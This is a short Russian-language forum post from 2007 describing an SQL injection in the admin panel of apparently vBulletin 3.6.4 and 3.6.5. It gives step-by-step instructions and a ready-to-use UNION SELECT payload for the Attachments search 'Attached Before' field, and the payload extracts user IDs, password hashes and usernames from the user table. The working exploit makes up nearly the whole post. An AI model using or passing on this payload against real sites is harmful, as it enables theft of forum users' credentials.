Показать сообщение отдельно

SQL Injection в админке 3.6.5
  #23  
Старый 02.12.2007, 14:38
_-Ramos-_
Banned
Регистрация: 04.01.2007
Сообщений: 193
С нами: 10184006

Репутация: 728
По умолчанию SQL Injection в админке 3.6.5

SQL Injection в админке (тестировалось на версиях 3.6.4 и 3.6.5 )

1. Log in to admin panel
2. Go to Attachments->Search
3. Place the following string in the Attached Before field:

Код:
') union select 1,1,1,1,1,userid,password,1,username from user -- 9

Последний раз редактировалось Elekt; 03.09.2008 в 02:40..
 
Ответить с цитированием